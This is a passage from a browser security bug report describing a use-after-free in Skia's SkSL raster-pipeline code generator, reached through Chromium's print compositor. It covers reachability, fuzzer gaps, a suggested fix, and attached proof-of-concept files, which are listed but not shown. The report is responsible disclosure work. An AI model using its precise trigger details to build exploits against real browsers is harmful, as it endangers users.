Finally, the PDF backend forces the filter onto the CPU raster pipeline rather than any GPU path: SkPDFDevice::createDevice returns an SkBitmapDevice whenever the layer paint carries an image filter or color filter, with the comment “PDF does not support image filters, so render them on CPU” (src/pdf/SkPDFDevice.cpp:302-315). So the picture replays into SkRuntimeImageFilter::onFilterImage, SkRuntimeShader::appendStages, getRPProgram, MakeRasterPipelineProgram, writeProgram, writeFunction, pushChildCall, which is the stack above.

I checked whether an ordinary web page can get attacker-authored SkSL into a metafile without a patch, and it cannot: Blink contains no reference to SkRuntimeEffect or SkSL anywhere in third_party/blink/renderer, kSkSLCommand is rejected for non-privileged clients in cc/paint/paint_op_reader.cc:702-707, the enterprise watermark picture is built browser-side from policy text with ordinary text draw ops, and PrintManagerHost is an associated interface so even MojoJS cannot post metafile bytes. Hence the compromised-renderer framing.

One note on mitigation: turning fAllowSkSL off in the print compositor is not free, because HDR gainmap and AGTM tone-mapping content from ordinary pages legitimately puts Skia-authored SkSL into the metafile (cc/paint/paint_op.cc:1387, :1516, skia/ext/draw_gainmap_image.cc:169, src/shaders/SkGainmapShader.cpp:77-79, and cc/paint/tone_map_util.cc:99-107).

Why no existing fuzzer finds this

The SkSL fuzz targets that could plausibly reach this generator do not exercise the combination it needs. FuzzSKSL2Pipeline drives PipelineStageCodeGenerator, a different backend. FuzzSkRuntimeEffect, FuzzSkRuntimeColorFilter and FuzzSkRuntimeBlender do reach the raster-pipeline generator, but they build effects with SkRuntimeEffect::MakeForShader and default Options, which is the public dialect, so a child-effect function parameter is rejected at SkSLFunctionDeclaration.cpp:105-110 and the fChildEffectMap insertion in writeFunction can never happen. The private dialect is only reachable through the deserialization path, and the target on that path, FuzzImageFilterDeserialize, would have to synthesize a well-formed serialized filter blob that carries compilable SkSL passing a child effect to a function and declares a number of shader globals landing exactly on a table grow point.

Suggested fix

The map entry’s value is stable across the recursion; only the slot address is not. Either copy the index by value before recursing:

int* childIdxPtr = fChildEffectMap.find(&c.child());
SkASSERT(childIdxPtr);
const int childIdx = *childIdxPtr;      // hold the index, not the slot
...
fBuilder.invoke_shader(childIdx);

or re-look-up after pushExpression returns. The same idiom of holding a find() result across other work is worth a sweep through the file, since SkTHash.h:99 makes any such pointer valid only until the next set().

There is a second free site for the same dangling pointer that a one-line fix at :2812 alone would not close. writeFunction also unbinds parameters from the same map at SkSLRasterPipelineCodeGenerator.cpp:1547, and removeIfExists shrinks the table at src/core/SkTHash.h:164, which frees the slot array too. I have a separate 281-byte PoC that reaches the identical read at :2835 through that shrink path, with no table growth involved at all, so the fix wants to address the cached-pointer idiom rather than just the grow case.

Upstream status

Still present on google/skia main. I fetched src/sksl/codegen/SkSLRasterPipelineCodeGenerator.cpp from refs/heads/main at a63b1c515435a985c8e274722cf99fa27e686c8e on 2026-07-29; pushChildCall is byte-identical there, with the cached int* childIdx at line 2812, the recursion at 2818 and the dereference at 2835.

Version

Chrome Version: 152.0.7941.0, trunk/dev, ASAN component build of unmodified upstream Chromium (src HEAD 0f9ed52dddfeb86f328018d632b0806249e76243, skia ab3a7b98c94ddccdec51883ededc18dd18ca0917), plus the single documented renderer patch above. Operating System: Ubuntu 22.04.2 LTS, x86_64.

Type of crash: utility process (--utility-sub-type=printing.mojom.PrintCompositor, --service-sandbox-type=print_compositor). Crash state: SkSL::RP::Generator::pushChildCall / SkSL::RP::Generator::writeReturnStatement / SkSL::RP::Generator::writeBlock. Full symbolized stack is inline above.

Attached:

  • childcall_uaf.skp (478 bytes, sha256 56e87e6f…) the serialized SkPicture, attacker bytes only
  • childcall_uaf.rts (182 bytes, sha256 411ccec3…) the SkSL it carries
  • compromised_renderer.patch the 32-line renderer patch described above
  • run_t1_asan.txt the raw unedited ASAN report from the print-compositor process
  • run_t1_process_sampling.txt the 4 Hz ps sampler for that run, showing the crashing pid is the compositor
  • run_t1_chrome_stderr.txt browser stderr, including the renderer-side substitution line
  • negative_control_out.pdf (32,123 bytes) what the same binary produces with the env var unset
  • run4_asan_hours_later.txt an independent fourth run several hours later, identical signature
  • shrink_uaf_second_free_site.rts (281 bytes) the second free site described under Suggested fix

Credit

Reporter credit: WinD39 - Huynh Dinh Vu

View on issue tracker